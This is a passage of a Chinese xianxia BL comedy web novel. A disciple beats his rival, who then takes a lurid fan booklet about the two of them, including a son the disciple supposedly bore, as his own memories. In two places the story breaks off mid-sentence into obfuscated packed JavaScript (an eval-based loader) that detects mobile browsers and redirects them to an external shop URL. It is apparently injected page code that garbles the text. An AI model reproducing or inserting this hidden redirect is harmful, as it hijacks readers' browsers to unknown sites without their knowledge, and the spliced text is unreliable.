《风亭瞳为他诞下一子》 1. 大师兄为何对二师兄这样 秋高气爽,云层薄得像被水洗过的纱,透下金箔似暖洋洋的阳光,这本该是个心旷神怡的舒适时节。 太上宗刚刚结束一年一度最为盛大的宗门大比。 作为雄踞五大宗门之首的庞然巨擘,太上宗格局恢弘,一主殿四仙峰,气象万千。 太上殿巍峨耸立于群山之巅,是掌门与诸位长老处理宗务,决议要事之所,终日云雾缭绕,威仪深重。 四座仙峰则拱卫主殿,各自专精,关系看似一体,实则界限分明。 天枢峰主杀伐剑道,门规森严,弟子人数冠绝全宗,是宗门对外的锋芒与牌面。 璇玑峰精研丹药与典籍,玉衡峰擅长奇道阵法与灵兽,摇光峰是外门,庶务之地,门人最少。 风亭瞳在五年前次次都败给闻敬渊。 如今闻敬渊已多年不参加宗门比试,风亭瞳多次请他出来,闻敬渊也无动于衷。 台上的比试结束,剑光收敛,胜负已分,风亭瞳收剑入鞘,对着对面的三师弟谢慎之一颔首,姿态从容。 风亭瞳他本该是天枢峰的首座弟子,毋庸置疑的。 若没有八年前,突然冒出来的闻敬渊。 天枢峰首座凌虚剑尊,当年云游归来,身边便多了这么个沉默寡言的少年,那少年并未如众人预想般拜入天枢峰门下,而是被那位常年居于太上殿深处,地位超然的玄苍长老,破格收为亲传。 自此,对风亭瞳而言,他依旧是首座凌虚剑尊座下第一人,可头顶总悬着那么一个名字,一个不属于任何仙峰,却又仿佛凌驾于所有弟子之上的名字,闻敬渊。 每一次宗门大比,将他稳稳压下一头。 风亭瞳一向对外表现得脾性温和,举止有度,输了便输了,坦然认输,风度不减。 实则不然。 栖竹院坐落在天枢峰一处相对僻静,日照充足的半山腰。 此地并非灵气最为鼎盛的核心修炼区,却胜在景色独好,推开院门,便能将蜿蜒的山道,苍翠的林海以及远处翻涌不休的云涛尽收眼底。 院子简朴,只用削得光滑的细竹编成篱笆,篱笆上攀着些凡俗的牵牛花,紫的,蓝的,开得热闹,那是风亭瞳多年前特意从凡间故乡带来的种子,年复一年,自生自灭。 院内几间屋舍,白墙黛瓦,檐角轻灵,更像江南水乡的园林雅筑,屋前用大小不一的青石板铺地,缝隙里生着茸茸的墨绿色青苔,踩上去微微的软。 此处最引人注目的是院角那片茂盛的金镶玉竹林。竹竿通体是明亮的金黄色,节间沟槽却嵌着一线碧绿莹润的色泽,这是一种品阶不高却颇为美观的灵植,能自行聚拢周遭温和的天地灵气,于修炼助益有限。 此刻,屋舍前那片空地上,地面上交错着细密而深刻的剑痕,是新旧叠加的印记。 旁边立着一个特制的木桩,桩身用某种坚韧的灵木制成,上面用墨笔画着寥寥几笔写着闻敬渊的名字,一个简单的人形轮廓立在上头,头部位置点了两个墨点权当眼睛。 风亭瞳褪去了大比时那身正式的天枢峰弟子服,只着一件月白色的常服,手中拎着一把沉甸甸的木剑。 他盯着那木桩,手臂骤然扬起,木剑划破空气,带着呼啸的风声,疾风骤雨般劈,砍,刺,挑,落在木桩之上。 沉闷的“砰砰”声不绝于耳,那力道又狠又准,木桩剧烈震颤,表面很快布满白痕。 跟随风亭瞳多年的小仆风辰,抱着一叠刚晾干的衣物站在廊下,眼睁睁看着那坚实的木桩在又一声格外沉重的闷响后,从中间“咔嚓”一声,干脆利落地裂成两半,倒向两旁。 风辰眼角控制不住地跳了跳。 他们家少爷平日里看着斯斯文文,谁能想到这身看似颀长偏瘦的骨架里,竟藏着如此蛮横的劲道。 不过……他瞥了一眼倒地的两半木桩,断面整齐,倒是省了他今晚劈柴的功夫。 风亭瞳随手将那木剑扔开,剑身“哐当”一声落在青石板上,不甘地问:“你说,我到底跟闻敬渊差在哪?” 风辰简直太有经验了,这话头八年来不知接过多少回。他立刻放下衣物,腰背微微前倾,脸上堆起十二分诚恳,语速流畅得像背书:“少爷,您可千万别往心里去,那闻敬渊小子,不过是运气好些,机缘巧合得了玄苍长老的青眼罢了。若真要论起为人做派,风姿气度,待人接物,他哪里及得上少爷您万分之一?整日里板着张冰块脸,活像谁欠了他八百灵石似的,半点人情味也无。咱们天枢峰的师弟师妹们,哪个不是对少爷您敬爱有加?他那等孤僻性子,哼,远远赶不上少爷。” 风亭瞳听着,脑海中却不由自主地浮现出闻敬渊平日里那冰块死人脸,的确……很不讨喜。 他其实以前,还没到这般讨厌闻敬渊的地步。 最初,甚至有过那么一段时间,他还想过或许可以试着跟这个突然出现,天赋异禀又沉默寡言的同门,做个朋友。 那时闻敬渊刚来不久,身量还没完全长开,站在气势恢宏的太上殿前,被无数或好奇或审视的目光包围,眼神却静得像深潭,对周遭一切热闹与议论都置若罔闻。 风亭瞳作为天枢峰当时众星捧月的大师兄,带着一点矜持的善意和探究,主动上前搭过话,甚至邀请过他一同练剑。 结果呢?那家伙连眼皮都懒得掀一下。 少年心性,最受不得这等无视与冷落,年纪小,面子薄,风亭瞳便当着另外同门,掷地有声地撂下了狠话,以后这太上宗,有他没闻敬渊,有闻敬渊没他。 这回大比闻敬渊又没出面,风亭瞳回到栖竹院,那股憋闷之气如同实质,堵在胸口,上不去下不来,愣是三天没踏出院门一步,对外只让风辰传话,说是心有所悟,需闭门静修。 实则院门紧闭,地上剑痕又添了无数道。 第四日上,凌虚剑尊传音,唤他前去。 师尊照例考校了他的剑诀进展,点拨了几处关窍,手法精妙,言语简洁,末了,才似不经意般提起了此次大比。 凌虚剑尊须发皆白,面容清癯,只轻轻叹了口气:“亭瞳,输赢乃兵家常事,不必太过挂怀,敬渊他向来不爱出门,你是我天枢峰首座弟子,行事稳重,顾全大局,未来这天枢峰终究是要交到你手上的。” 可这承诺此刻听在耳里,非但没让风亭瞳感到宽慰,反而像在提醒他闻敬渊是他无法逾越高峰,心头那点不快更深了些。 从师尊处告退出来,沿着蜿蜒山道往回走,一路上遇到不少同门。 有天枢峰的师弟师妹恭敬行礼,也有其他仙峰的师兄师姐含笑招呼。 风亭瞳不得不打起精神,面上维持着一贯的温润浅笑,颔首回礼,言语得体。 绕道去璇玑峰领取这个月例份的丹药时,他本想借着与相熟的璇玑峰师妹多说几句话,疏散一下胸中郁结。 负责发放丹药的是一位圆脸杏眼,总是笑眯眯的小师妹,见到他,眼睛一亮,声音都清脆了几分:“风师兄,你来了,我这就给你拿。” 说罢动作麻利地转身去取药瓶。 风亭瞳点头,正待寻个话头,目光却瞥见那师妹因动作稍急,袖口一抖,竟滑落出一卷薄薄装帧颇为精致的书册,“啪”一声轻响,掉在了光洁的青玉地面上。 “师妹,你的……” 风亭瞳下意识弯腰,顺手将书册捡起。 指尖触到封面的细腻纸张时,目光无意间扫过书脊一侧,几个小字倏地撞入眼帘,那分明是他自己的名字。 他动作顿了一瞬,那书册并未直接放回,而是借着递还的动作,极自然地滑入了自己宽大的袖袋内层。 小师妹没一会就将几个小巧的玉瓶递过来,她脸上竟飞起两团可疑的红晕,看着风亭瞳的眼神也变得有些飘忽,嘴角勾起一个的迷之微笑。 风亭瞳心头那点异样感越发浓重。 他不动声色地接过丹药,温声道了谢,便转身离开璇玑峰,步伐看似从容,脚下却比来时快了不少。 直到寻了一处僻静无人的后山竹林,他才从袖中取出那卷书册,他皱着眉,翻开内页。 只看了几行,风亭瞳的脸“腾”地一下就烧了起来,耳根红得几乎滴血。 这哪里是什么正经书册?分明是不知道哪个胆大包天之徒胡编乱造,私下传阅的……香//艳话本! 书名用一行旖旎的小楷写着:《天枢峰秘史:大师兄为何对二师兄如此》。 这里头的大师兄,指的是闻敬渊,而二师兄……正是他风亭瞳! 册子里用极其细腻乃至肉麻的笔触,描绘了闻敬渊如何对他这个清冷孤高又暗自倾心的二师弟,进行种种痴缠掠夺,强取豪夺,其中爱恨纠葛之复杂,感情描绘之真挚,情节之跌宕起伏,缠绵悱恻…… 若非主人公顶着他风亭瞳的名字,他都要以为这是在讲述某个感人至深的虐恋传奇! 写就写了,问题在于,这册子里通篇下来,他风亭瞳竟是被压在下头的那个。 还是被闻敬渊以各种匪夷所思的方式压制,征服,更离谱的是,故事发展到后半段,不知作者如何天马行空,竟安排他替闻敬渊生了个孩子! 字里行间还有模有样地描写了他孕期的种种反应,闻敬渊对他的体贴与生产时的艰辛。 风亭瞳胸口剧烈起伏,先前因大比闻敬渊又不出现和师尊谈话积攒的所有憋闷,此刻全数转化成了荒谬绝伦的滔天怒火。 他猛地将书册合上,深吸了好几口气:“这简直就是造谣!” 一切都怪闻敬渊。 风亭瞳想。 若不是他,若不是这八年来如同梦魇般稳稳压在自己头顶,这些年宗门大比榜首的风光,弟子们口中津津乐道的传奇,那些本该落在名号上耀眼夺目的赞誉与瞩目,都该是属于他风亭瞳的。 他出身大渊风氏,世代簪缨,族中子弟行走在外,何曾真正屈居过人下?偏偏到了他这里,偏偏在闻敬渊面前,这万年老二的名头,怎么甩都甩不脱。 风亭瞳想不通。 那本荒诞不经的《天枢峰秘史》不过是最后一根稻草,真正灼烧他是经年累月积攒下来,混杂着嫉妒,挫败与尊严受损的邪火。 这火在心头烧了太久,烧掉了理智,烧掉了平日里温润如玉的假面。 风亭瞳提起那柄随他多年的众生剑,御剑而起,径直杀向了悬雪崖,那是闻敬渊的洞府所在,位于太上宗最偏僻险峻的孤峰之巅,终年积雪不化,四周是深不见底的云海渊壑。 寻常弟子若无要事,绝不敢靠近。 通往崖顶的路只有两条:一是御剑,二是通过一条千年玄冰锁链桥,桥下便是万丈虚空。 “砰!” 风亭瞳甚至没用剑气,直接一脚,狠狠踹在了那扇铭刻着防御阵纹的洞府大门上。 门扉应声而开,撞在两侧冰壁上,发出沉闷的回响。 玄冰为地,寒玉为墙,除了必要的蒲团,石案和一张光秃秃的冰床,几乎看不到任何属于人的生活痕迹。 果然,这地方跟闻敬渊那个人一样,毫无内容可言,冰冷,单调,令人兴致索然。 风亭瞳提着剑,他大步流星地走进去,神识一扫,很快在洞府深处的一间石室找到了人,那是闻敬渊的练功房。 闻敬渊正盘膝坐在一块莹白的寒玉台上,周身有极淡的冰蓝色灵气流转,似乎刚结束一个周天的调息。 听到破门而入的巨响和逼近的脚步声,他骤然睁开眼,那双总是古井无波的眼眸里,罕见地掠过一丝诧异,眉头微微蹙起,看向提着剑,面色沉得能滴出水来的风亭瞳,声音带着刚收功后微沉的冷冽:“……你怎么会在这?” 风亭瞳根本不答话,手腕一抖,“呛啷”一声,众生剑出鞘,雪亮的剑尖在冰室清冷的光线下,反射着刺骨的寒芒,直指寒玉台上的人。 他下巴微扬:“单挑吧,闻敬渊。” 他要一雪前耻。 不,或许不仅仅是为了一次比试的胜负,而是为了这八年来所有被压制,被比较,被那本荒唐话本无端编排的憋屈,他要一个干脆的了断。 闻敬渊脸上的茫然更加明显了。他甚至没有立刻起身,只是看着风亭瞳,那眼神像是在确认眼前这个风亭瞳是不是被什么邪魔夺了舍。 风亭瞳被他这眼神看得越发火大,他空着的左手猛地一甩,一东西朝着闻敬渊的面门疾射而去,正是那本被他揉得有些皱的《天枢峰秘史》。 “你自己看看吧。” 闻敬渊下意识抬手,精准地接住。他低头,目光落册子上,又扫过内页的字迹。起初是疑惑,随即,他那张惯常没什么表情的木板脸上,神色开始以肉眼可见的速度发生变化。 他翻页的速度极快,几乎是一目十行,某些过于惊世骇俗的段落,还是让他翻页的手指顿了一下。等到全部看完,闻敬渊抬起头看向风亭瞳时,那张脸上难得出现了极其复杂的情绪波动,嘴角似乎极其细微地抽动了一下,像是想说什么,又硬生生压了回去。 “呵。” 风亭瞳从鼻腔里发出一声短促的冷笑,带着十足的讥诮与怨气。他手腕一转,众生剑在空中挽出一个凌厉而漂亮的剑花,剑气激荡,震得室内寒气四溢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123114|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “看到了?都怪你,” 风亭瞳咬牙道,“要不是你,我这万年老二的名头,会被人拿来写成这种……这种污秽不堪的东西?会让我成为整个宗门的笑柄谈资吗?” 话音未落,他再不废话,身形如离弦之箭,裹挟着凛冽的剑光,朝着闻敬渊疾冲而去。 闻敬渊脸色一沉,终于起身。他动作极快,在那剑光及体的前一瞬,身形向后飘退数尺,堪堪避过这毫无征兆的杀招,不解道:“风亭瞳,你疯了?” “我没疯!” 风亭瞳剑势丝毫不减,步步紧逼,剑招狠辣,每一式都带着泄愤般的狠厉,“闻敬渊,我早就说过,这太上宗,有你没我,有我没你!今日,就做个了断!” 见他如此不管不顾,闻敬渊他不再退让,反手拔出了自己的佩剑昭霁。 两剑相交。 “铛!” 火星四溅。 紧接着,是无数道令人眼花缭乱的剑光残影。 风亭瞳的剑招迅疾如风,带着天枢峰剑道的一往无前,闻敬渊的剑势则沉静凝练,往往后发先至,以简破繁。 两人身影在冰室内快速交错,分离,再碰撞,剑锋扫过玄冰地面和墙壁,留下道道深浅不一的划痕,冰屑簌簌落下,又被纵横的剑气搅得漫天飞舞。 一时之间,练功房内光影乱窜,寒气与杀意交织。 两人修为本是闻敬渊要压风亭瞳几分,但今日,不知是那本奇书带来的冲击过于巨大,扰乱了闻敬渊的心神,还是因着别的什么原因,闻敬渊的动作竟比平日慢了半分,格挡与闪避间,少了一分往日的圆融自如,多了些微不可察的滞涩。 风亭瞳敏锐地捕捉到了这一丝破绽。他觑准一个闻敬渊旧力已尽,新力未生的间隙,剑交左手,右掌猛地运足十成功力,朝着闻敬渊的胸口狠狠拍去。 这一掌,闻敬渊竟然没躲过,结结实实地印了上去。 闻敬渊身体剧震,脸色瞬间褪尽血色,变得惨白如纸。他闷哼一声,喉头滚动,竟“噗”地喷出一大口鲜血。 那血溅在晶莹的冰面上,晕开刺目的鲜红。 闻敬渊握着昭霁剑的手一松,长剑“哐当”一声脱手落地,整个人像是被抽走了所有力气,踉跄着向后倒退数步,最终单膝重重跪倒在冰面上,另一只手死死捂住胸口,额头冷汗涔涔。他抬起头,似乎想再看风亭瞳一眼,嘴唇翕动了一下,却没能发出任何声音,眼睫颤动了几下,最终缓缓闭上,身体一晃,向前倾倒,晕厥在地。 风亭瞳保持着出掌的姿势,僵在原地。 他竟然成功偷袭到了闻敬渊? 众生剑还握在手上,风亭瞳看着倒在地上气息奄奄的闻敬渊。 风亭瞳僵在原地足有数息,才猛地回过神,手一松,众生剑“哐当”一声掉落在冰面上。他两步抢上前,蹲下身,手伸到闻敬渊鼻下,气息微弱,但还有。 可别真被打死了。 风亭瞳定了定神,目光快速扫视四周,冰室内寒气依旧,但空气中尚未完全平息细微的灵力涟漪,都表明此人刚才确实在打坐调息,而且似乎是刚刚结束了一个极为关键,甚至可能损耗巨大的周天循环?渡劫后的虚弱期?还是修炼某种秘法到了紧要关头? 若是如此,神识不稳,灵力滞涩倒是说得通了。 那自己刚才那一掌,风亭瞳想,是不是,有点趁人之危了? 不过,这念头只浮起一瞬。 打都打了,而且,必须承认,结结实实揍了闻敬渊一掌,看着这个永远高高在上,八风不动的家伙吐血跪倒,风亭瞳那股积压了八年闷气,确实消散了不少。 风亭瞳抿了抿唇,伸手将闻敬渊扶起,对方的身躯比想象中更沉,也更冷一些。 闻敬渊意识全无,根本坐不住,身体软绵绵地直往他怀里倒,风亭瞳只好半跪着,用肩膀和手臂支撑住他。 距离近得能看清闻敬渊长而密的睫毛在眼睑下投出的淡淡阴影,还有唇角未干的血迹,衬得那张没什么血色的脸,显出少见的脆弱。 算了。 风亭瞳移开视线,在心里对自己说,谁叫他是个善良的人呢? 他从自己怀里贴身的内袋中,摸索出一个温润的白玉小瓶。这是风氏家族秘制的疗伤灵丹九转回春露。拔开塞子,一股清冽沁人的药香立刻弥漫开来。 风亭瞳他倒出两粒朱红色的丹丸,捏开闻敬渊紧闭的牙关,将丹药送了进去,又并指在他咽喉处轻轻一顺,助他咽下。 灵丹药效果然神妙。不过片刻,闻敬渊原本微弱得难以察觉的呼吸,渐渐变得绵长了些,脸上也恢复了一丝极淡的血色。 又过了一会儿,他那浓密的睫毛颤动了几下,缓缓睁开了眼睛。 眼神起初是涣散迷茫的,过了几秒,才逐渐聚焦,落在了近在咫尺的风亭瞳脸上。 风亭瞳见他醒了,心头一松,刚想顺势将他推开,这过于别扭的搀扶姿势,两个大男人,还是刚刚生死相搏过的对头,这么抱在一起算怎么回事? 然而,他还没来得及动作,闻敬渊却突然动了。那只垂在身侧,原本无力的手,猛地抬起,一把攥住了风亭瞳还未来得及收回的手腕,力道之大,让风亭瞳都吃了一惊。 闻敬渊的目光牢牢锁着他。 “……你……” 他眼神在风亭瞳脸上逡巡,最终定格,语气是前所未有的古怪与笃定,“……你为我诞下了一子。” 风亭瞳:“……??” 他怀疑自己耳朵出了问题,他挣了一下手腕,没挣开:“你在胡说八道什么?什么儿子?闻敬渊,你脑子被我一掌打坏了吗?” 闻敬渊却仿佛没听到他的质问,依旧紧紧攥着他的手腕,那双古井无波的眼睛里,此刻翻涌着风亭瞳完全看不懂的情绪。他像是在努力回忆某个细节,陈述事实般恍惚又异常认真:“你不是……为我生了个六斤的大胖儿子吗?” “生了足足三天,是我亲自接生的。” 风亭瞳彻底僵住了,他看着闻敬渊的脸,那张脸上没有任何戏谑,玩笑,或者故意羞辱的神情,只有困惑与认真。 以他对闻敬渊那死人性格的了解,就算自己现在拿剑架在他脖子上,把他千刀万剐,他也绝不可能,也不屑于说出这种荒谬绝伦的话来戏弄自己。 一个荒谬绝伦,却又让他脊背发凉的念头钻进了他的脑海。 风亭瞳的目光,不受控制地缓缓转向不远处冰面上,那本被丢弃书页微微散开的《天枢峰秘史》。 他好像真的把闻敬渊打傻了。 而且,傻得如此具体,如此有剧情。 2. 恨不得闻敬渊是个哑巴 风亭瞳替闻敬渊生了个儿子? 这荒谬绝伦的胡扯此刻成了闻敬渊神识混乱后深信不疑的事。 而这源头,不就是那本鬼知道哪个杀千刀的混账东西胡编乱造的《天枢峰秘史》。 风亭瞳脑海里不受控制地闪过那册子里几段格外生动形象的描述,如何天为被地为床,如何将天枢峰各个僻静角落都睡了个遍,里面那些光看文字就让人面红耳赤,匪夷所思的奇/淫/技/巧,才得来那个儿子…… 要是让风亭瞳揪出是哪个龌龊玩意写的,他定要把那人剥光了吊在天枢峰最高的迎客松上,让全宗上下看个清楚,再亲手用沾了盐水的鞭子抽上三天三夜! 不,抽完了还得废去修为,扔进思过崖最底层的寒潭里泡上十年八年。 风亭瞳强压下心头怒火,试着又跟眼神依旧迷茫却异常专注的闻敬渊说了两句话。 风亭瞳问他还记不记得自己是谁,记不记得这里是哪里,记不记得刚才发生了什么。 闻敬渊的回答断断续续,颠三倒四,但核心信息却诡异得清晰。 风亭瞳很快得出了两个让他既崩溃又不得不接受的事。 一,他是真把闻敬渊打傻了。 那一掌八成是拍在了对方神识最不稳定,与诡谲内息纠缠的关键节点上,才造成了此等离奇的结果。 二,索性傻得还不是很彻底。 闻敬渊知道自己叫闻敬渊,知道这里是他的寒鉴洞府,甚至对修炼的基本常识和宗门大致架构都有印象。可偏偏,他把那本《天枢峰秘史》里胡诌出来关于两人关系和子嗣的荒唐情节,当成了自己真实经历过的生平。 那些缠绵悱恻,强取豪夺,生儿育女的戏码,在他混乱的记忆里,变成了确凿无疑的事。 正当风亭瞳沉默时,闻敬渊又开口了,他目光依旧锁在风亭瞳脸上,那双总是没什么情绪的眸子,此刻竟透出疑惑与期待,他问:“我们的儿子呢?” 风亭瞳的拳头瞬间硬了。 哪里来的儿子! 指骨捏得咯咯作响,手背上刚刚平息下去的淡青色血管又有凸起的迹象。 风亭瞳需要用极大的意志力,才能控制住自己不要一拳再砸到眼前这张虽然苍白却依旧俊美,此刻写满无辜求知欲的脸上。 冷静。 风亭瞳告诉自己,必须冷静。 眼下局面,要比打赢一场宗门大比要棘手一万倍。 他迅速在脑海里权衡利弊,眼前似乎只剩下两条路。 第一条路,放任不管,或者干脆把闻敬渊扔在这里,任他自生自灭自行恢复,如果还能恢复的话,但风险极高。 以闻敬渊此刻这逮着人就问儿子的混乱状态,一旦离开悬雪崖,走到人前,必然胡言乱语,惹出轩然大波。 届时,他风亭瞳暴揍同门,尤其这人还是玄苍长老亲传弟子,致其神识受损记忆错乱的事,绝对瞒不住。 加上玄苍长老身份不低,论起来风亭瞳他们都要叫上一声师祖。 而且太上宗门规森严,第一条便是不得同门内讧,私斗伤人,事情一旦捅开,轻则面壁思过,重则废去修为,逐出宗门,那么风亭瞳这些年苦心经营的凌虚剑尊首徒,未来天枢峰首座的形象,全都将化为泡影,甚至可能连累风氏家族蒙羞。 这第二条路。 风亭瞳的目光再次落在那本《天枢峰秘史》上,又移回眼神纯良的闻敬渊脸上,内心十分抗拒,但理智告诉他,这是目前唯一可行的,能将风险降到最低。 那就是顺着闻敬渊此刻错乱的记忆来。 那话本里不是把闻敬渊写成了对他风亭瞳言听计从,百依百顺的痴情形象吗?那就利用这一点,先稳住闻敬渊,把他圈在可控范围内,然后再暗中医治他恢复记忆。 等到闻敬渊恢复正常,再想办法让他忘掉这段荒唐至极的经历,虽然同样麻烦,但至少,能把同门相残这个最大的罪名暂时掩盖下去。 风亭瞳咬着后槽牙,生硬和别扭:“……儿子?” 真是难以启齿,却又不得不胡乱编造。 “我们的儿子……我把他送下山了,交给我母亲抚养。” “你也知道,太上宗乃是清修之地,规矩多,灵气也过于凛冽霸道,哪里是适合养小孩的地方?孩子还小,需要更温和的环境,也需要有经验的妇人照料。” 说完,他自己都觉得这借口有点扯。 可闻敬渊听完,却没有任何质疑,只是若有所思地点了点头,脸上那点隐约的期待化为了然的平静,甚至还非常通情达理地附和了一句,语气是风亭瞳从未听过的温顺赞同:“你说的是。” 风亭瞳在心底狠狠骂了一句:是个屁啊! 可现实摆在眼前,由不得他不认,闻敬渊现在,是真的把他那些胡诌的话当成了金科玉律,并且表现出了前所未有的顺从。 这感觉太过诡异。 闻敬渊这人,什么时候用过这种带点依赖的眼神看过他?又什么时候,会用这种堪称和颜悦色的语气跟他说话? 在风亭瞳的记忆里,闻敬渊向来是眼睛长在头顶上,看人时目光淡得像冰水,说话更是能省则省,惜字如金,仿佛多吐一个字都会折损他修为一样。 风亭瞳不敢再多想,连忙弯腰,动作飞快地将地上那本惹祸的《天枢峰秘史》捡起来,手指用力,迅速塞进自己宽大的袖袋深处。 闻敬渊就站在那儿,视线一直跟着他,将他收拾书册,藏匿的动作尽收眼底,却没有丝毫阻拦的意思。 那目光,怎么说呢,专注追随。 风亭瞳脑子里莫名冒出个极不恰当的比喻,像条被驯服的大狗看着自家主人。 风亭瞳清了清嗓子:“那个,你伤得不轻,就好好在寒鉴洞府养伤,我先回栖竹院了。” 谁知他刚迈出一步,身后就传来衣物摩擦冰面的窸窣声。闻敬渊竟跟了上来:“我跟你一起去吧。” 风亭瞳脚步顿住,背影僵硬,缓缓转回身:“……??” 闻敬渊看着他,那张苍白的脸上露出些许困惑,似乎不明白风亭瞳为何如此反应:“我们不是都住在一起的吗?” 风亭瞳:“…………” 住一起?跟闻敬渊?栖竹院可是他精心布置的小天地,要是让现在这副德行的闻敬渊踏进去,风亭瞳不如找块豆腐撞死算了。 风亭瞳深吸一口气,脑子飞速转动,脸上挤出一个堪称和煦的微笑:“对,是住一起,不过是住在悬雪崖,我是要回栖竹院拿点东西过来。” 那书里他们天天搞,可没写他们具体住哪。 风亭瞳指了指这空旷冰冷的寒鉴洞府,语气嫌弃:“你这儿,要什么没什么,冷冰冰的跟个冰窖似的,我住不习惯,我去拿些铺盖和日常用的过来。” 另一个念头也悄然在风亭瞳脑中滋生:他把闻敬渊圈在悬雪崖,自己以照顾为名就近监视,岂不是更好?如此近距离观察,说不定真能找到这家伙修炼的弱点,剑招的破绽。 等到来年宗门大比,知己知彼,他定能一雪前耻! 而且眼下这情形,能光明正大地使唤闻敬渊,为什么不可以?这念头一起,竟冲淡了几分的荒谬与憋屈,甚至给风亭瞳带来一丝隐秘扭曲的快意。 闻敬渊听了他的解释,似乎接受了,没再坚持要跟去栖竹院,但他坚持要送风亭瞳到洞府门口。 走到那扇被踹坏的大门边,闻敬渊停下脚步,就那么站着,目光落在风亭瞳身上,也不说话。 悬雪崖的寒风卷着细雪吹进来,拂动他额前几缕散落的黑发,那眼神,那姿态。 风亭瞳脑子里又不受控制地冒出个离谱的联想,活脱脱像是话本里那种倚门相送,目送夫君远行的小媳妇。 他被自己这联想恶心得一个激灵,几乎是逃也似的御剑而起,头也不回地冲下了悬雪崖。 回到栖竹院,风辰正提着水壶给院子角落的金镶玉竹浇水,见他风风火火地冲进来,刚想开口询问大少爷这是怎么了,就见风亭瞳一阵风似的卷进了屋里。 不一会儿,他又卷了出来,怀里抱着一床叠得整齐的云锦软被和一个枕头,胳肢窝下还夹着他平日用惯的紫砂茶壶和几本常翻的剑谱,另一只手拎着个鼓鼓囊囊的包袱,里面似乎塞了不少零碎物件。 “少爷,您这是……” 风辰目瞪口呆。 风亭瞳脚步不停,语速极快:“我要去一处清静地方闭关打坐几日,潜心参悟剑道,若是师尊或者峰内有事寻我,你就让纤纤传信给我。” “它知道我在哪儿。” 纤纤是风亭瞳早年定下血契的灵宠,一只金翎雀,这种灵鸟以速度见长,翎羽华丽,成鸟体型优美纤长。 早年刚跟着风亭瞳时,也确实是一副纤细苗条,神气活现的模样。 只是这些年被风亭瞳养得太好,灵果珍露从不短缺,又缺乏运动,如今就算维持在幼年体的形态,从背后看,也活脱脱是个圆滚滚,毛茸茸的金色毛球,飞起来都让人担心它的翅膀能不能带动那身膘。 这鸟性子被惯得极为嚣张,除了风亭瞳,谁也不放在眼里。 偏偏风亭瞳在它还是雏鸟时就捡回来,亲自喂食,梳理羽毛,疼得跟眼珠子似的,要星星不给月亮,养出了一身天不怕地不怕的骄纵脾气。 此刻,那金色毛球正窝在屋檐下特意为它搭建,铺着柔软丝绒的小窝里,睡得昏天暗地,尾羽耷拉在外面,随着呼吸一颤一颤。 风亭瞳交代完,也顾不上多看一眼他那睡得正香的胖鸟,抱着那一堆家当,再次御剑而起,朝着悬雪崖的方向,怀着一种上刑场般悲壮的心情。 他这也算是忍辱负重了。 风亭瞳抱着一堆零零碎碎,重新踏进那扇被他踹坏的寒玉大门时,一眼就看到了站在洞府中央的闻敬渊。 方才还一片狼藉,剑痕与冰屑交错的练功房,此刻竟已被收拾得干干净净。破碎的冰屑被扫到角落,地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123115|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面和墙壁上那些深刻的剑痕依旧在,却没了碍眼的杂物。 闻敬渊换了身干净的素白中衣,外头松松披了件玄色的外袍,长发简单地束在脑后,脸色依旧苍白,但比起之前吐血昏迷的样子,总算有了点活气。 见到风亭瞳回来,他那双眼睛,亮了一下,他视线落在风亭瞳怀里的被褥枕头上,又移回他脸上。 “你回来了。” 闻敬渊开口,“那我们什么时候可以下山去看看儿子?” 风亭瞳正把怀里柔软的云锦被往那张光秃秃,冷硬的床上放,闻言手一抖,差点把被子掉地上。他猛地转过头,瞪着闻敬渊,那眼神像在看什么不可理喻的怪物。 “……再说吧。” 闻敬渊看着他,没再追问,只是很轻地点了点头,顺从地应道:“好吧,我都听你的。” 风亭瞳转回身,继续铺床,心里却翻腾得厉害。 他真是奇了怪了,闻敬渊这脑子到底是怎么长的?堂堂玄苍长老亲传,太上宗年轻一辈里战力天花板的存在,居然真的就相信了那一册胡编乱造,满纸荒唐的话本? 还深信不疑,甚至据此衍生出了一整套逻辑自洽的记忆,这比直接把人打失忆了还棘手。 风亭瞳带来的东西很快在这间空旷冰冷的洞府里占据了显眼的一角。 云锦被褥细腻光滑,在冰室惨淡的光线下泛着柔和的暖色光泽,枕头蓬松柔软,紫砂茶壶温润古朴,旁边摆着配套的几只小巧茶杯,几本精心装帧的剑谱和杂记摞在冰案上,甚至还有一个巴掌大雕刻着缠枝莲纹的青铜小香炉,里面放着他习惯用的安神香饼。 这一切,与寒鉴洞府本身的玄冰为地,寒玉为墙的苦修环境,形成了鲜明的对比。 风亭瞳出身大渊风氏,那是底蕴深厚,富庶显赫的世家。他自小用的,穿的,无一不是顶尖的好物,即便后来拜入太上宗修行,讲究清心质朴,他娘亲也隔三差五就派人捎来各种精致灵巧的玩意儿,绫罗绸缎,灵食珍玩,生怕她这宝贝独苗在宗门里受苦。 风亭瞳也是年纪渐长,知道树大招风,才收敛了些,换下了早年那些恨不得用金线绣满符文的金光闪闪的行头,但骨子里那份对生活品质的讲究,早已刻进了习惯里。 第一晚,问题就来了。 风亭瞳洗漱完毕,穿着柔软舒适的丝绸寝衣,刚在铺了好几层软垫,总算不那么硌人的冰床上躺下,闻敬渊就走了过来。他也清理过,换了一身干净的素白中衣,站在床边,看着风亭瞳,眼神平静,动作自然得像要上床就寝。 风亭瞳立刻抬手,横在床沿,挡住他,眉毛挑起:“等等,我允许你上床了吗?” 